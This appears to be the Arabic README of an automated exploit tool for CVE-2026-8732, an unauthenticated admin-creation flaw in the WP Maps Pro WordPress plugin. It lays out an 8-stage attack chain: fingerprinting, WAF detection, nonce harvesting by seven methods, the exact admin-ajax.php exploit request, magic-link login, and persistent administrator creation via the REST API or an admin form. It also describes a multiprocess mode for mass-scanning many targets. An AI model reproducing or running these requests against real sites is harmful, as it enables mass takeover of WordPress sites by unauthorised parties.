
استغلال آلي من 8 مراحل لـ CVE-2026-8732، وهو تصعيد امتيازات غير مصادق عليه في WP Maps Pro ≤ 6.1.0. يستخدم المعالجة المتعددة و asyncio لمسح الأهداف، واستخراج nonces، وإنشاء حسابات إدارية.
أتمتة استغلال من 8 مراحل | تعدد العمليات + Asyncio | إنشاء مدير موثَّق
إضافة ووردبريس WP Maps Pro الإصدار ≤ 6.1.0 تحتوي على ثغرة تصعيد صلاحيات بدون مصادقة. يمكن للمهاجم دون أي بيانات اعتماد إنشاء حساب مدير والاستيلاء الكامل على الموقع.
تنشأ الثغرة من ميزة "الوصول المؤقت" (Temporary Access) المصممة لفريق دعم البائع FlipperCode، لكنها مكشوفة للعامة دون حماية كافية.
| المعلومات | التفاصيل |
|---|---|
| CVE | CVE-2026-8732 |
| CVSS | 9.8 (حرج) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| الإضافة | WP Maps Pro (wp-google-map-gold) |
| البائع | FlipperCode |
| الإصدارات المتأثرة | ≤ 6.1.0 |
| الإصدار المُصحَّح | 6.1.1 |
| النوع | فقدان المصادقة لوظيفة حرجة (CWE-306) |
| التأثير | إنشاء مدير بدون مصادقة → سيطرة كاملة على الموقع |
| كاتب الإثبات | XENON1337 |
┌──────────────────────────────────────────────────────────────┐
│ الضعف 1 — نقطة نهاية مكشوفة بدون مصادقة │
│ ▸ إجراء AJAX مسجل باستخدام wp_ajax_nopriv_ │
│ ▸ يمكن لأي شخص الوصول دون تسجيل الدخول │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ الضعف 2 — تسريب Nonce في الصفحات العامة │
│ ▸ كائن wpgmp_local.nonce مضمن في كل صفحة │
│ ▸ يمكن للمهاجم استخراج nonce من مصدر HTML │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ الضعف 3 — لا يوجد فحص صلاحيات │
│ ▸ دالة الاستدعاء تتحقق فقط من nonce │
│ ▸ لا يوجد current_user_can() — لا يوجد دفاع إضافي │
└──────────────────────────────────────────────────────────────┘
┌─────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ المرحلة │──▶│ المرحلة │──▶│ المرحلة │──▶│ المرحلة │
│ 1 │ │ 2 │ │ 3 │ │ 4 │
│ الحل │ │ التحقق │ │ الكشف │ │ الإصدار │
│ HTTPS? │ │ من WP │ │ عن │ │ ≤6.1.0? │
│ HTTP? │ │ wp-content│ │ الإضافة │ │ WAF? │
│ │ │ wp-login │ │ wpgmp_ │ │ │
└─────────┘ └──────────┘ └──────────┘ └─────┬────┘
│ ضعيف
▼
┌──────────────────────────────────────────────────────────┐
│ المرحلة 5 — استخراج Nonce │
│ │
│ المجموعة أ (API) المجموعة ب (محتوى) المجموعة ج │
│ ├─ M1: صفحات REST ├─ M4: خريطة الموقع └─ M7: │
│ ├─ M2: بحث REST ├─ M5: روابط الصفحة تخمين │
│ └─ M3: rest_route └─ M6: خلاصة RSS/Atom المسار │
│ بالقوة │
│ │
│ الهدف: wpgmp_local.nonce = "fc-call-nonce" │
└──────────────────────────┬───────────────────────────────┘
│ تم العثور على Nonce
▼
┌──────────┐ ┌──────────┐ ┌──────────┐
│ المرحلة │──▶│ المرحلة │──▶│ المرحلة │
│ 6 │ │ 7 │ │ 8 │
│ الاستغلال│ │ التحقق │ │ إضافة │
│ POST AJAX│ │ رابط سحري│ │ مدير دائم│
│ nonce+ │ │ Cookie │ │ REST API │
│ check_ │ │ login │ │ نموذج │
│ temp=false│ │ التحقق │ │ WP-Admin │
└──────────┘ └──────────┘ └──────────┘
│
▼
✅ تم إنشاء المدير
تسجيل الدخول: wp_xxxx / كلمة مرور
الدور: administrator
| المرحلة | الاسم | الوظيفة | الطلبات |
|---|---|---|---|
| 1 | الحل | اختيار HTTPS/HTTP بالتوازي | 1 |
| 2 | التحقق من WP | التأكد من أن الهدف هو ووردبريس | 0 |
| 3 | الكشف عن الإضافة | فحص مؤشرات WP Maps في 3 طبقات | 0-4 |
| 4 | الإصدار + WAF | قراءة readme.txt / CSS ?ver= + كشف WAF | 1 |
| 5 | استخراج Nonce | 7 طرق بحث في 3 مجموعات متوازية | 0-150 |
| 6 | الاستغلال | POST إلى admin-ajax.php → إنشاء حساب مدير مؤقت | 1 |
| 7 | التحقق | الوصول إلى الرابط السحري → تأكيد جلسة المدير | 2 |
| 8 | إضافة مدير | REST API (رئيسي) + نموذج WP-Admin (احتياطي) | 4 |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=wpgmp_temp_access_ajax
nonce=<NONCE المستخرج>
check_temp=false
الرد إذا كان الهدف ضعيفاً:
{"url":"https://target.com/?wpgmp_access=abc123def456"}
هذا الرابط السحري يمنح تسجيل دخول تلقائي باسم
fc_user_XXXXX(الدور: administrator).
POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-WP-Nonce: <REST_NONCE>
Content-Type: application/json
{
"username": "wp_xxxxxxxx",
"email": "user@localhost",
"password": "Str0ng!Pass#2026",
"roles": ["administrator"]
}
POST /wp-admin/user-new.php HTTP/1.1
Host: target.com
Cookie: [كوكيز المدير]
Content-Type: application/x-www-form-urlencoded
user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1 <-- مفتاح: تأكيد كلمة المرور الضعيفة
role=administrator
createuser=Add New User
_wpnonce_create-user=<NONCE>
نقطة مهمة: يجب تضمين
pw_weak=1— ووردبريس يرفض كلمة المرور الضعيفة بدون هذه المعلمة.
CVE-2026-8732.py
│
├── 📦 باحث Nonce — يبحث عن nonce بـ 7 طرق
│ ├── المجموعة أ (API): M1 صفحات REST، M2 بحث REST، M3 rest_route
│ ├── المجموعة ب (محتوى): M4 خريطة الموقع، M5 روابط الصفحة الرئيسية، M6 خلاصة RSS
│ └── المجموعة ج (قوة): M7 تخمين المسار (أكثر من 30 مساراً شائعاً)
│
├── ⚔️ المستغل — محرك استغلال من 8 مراحل
│ ├── resolve() → المرحلة 1: اختيار البروتوكول
│ ├── check_wp() → المرحلة 2: التحقق من ووردبريس
│ ├── detect_plugin() → المرحلة 3: كشف الإضافة + nonce مبكر
│ ├── detect_version() → المرحلة 4: كشف الإصدار + WAF
│ ├── exploit() → المرحلة 6: الاستغلال الأساسي
│ ├── verify() → المرحلة 7: التحقق من دخول المدير
│ └── add_admin() → المرحلة 8: إضافة مدير دائم
│
├── 🔧 عملية العامل — عمليات متعددة
│ ├── producer() → قراءة النطاق من mp.Queue
│ └── consumer() (N) → تنفيذ المسح المتوازي
│
└── 🖥️ الماسح — واجهة المستخدم
├── single() → وضع هدف واحد (تفاعلي)
└── multi() → وضع أهداف متعددة (جماعي)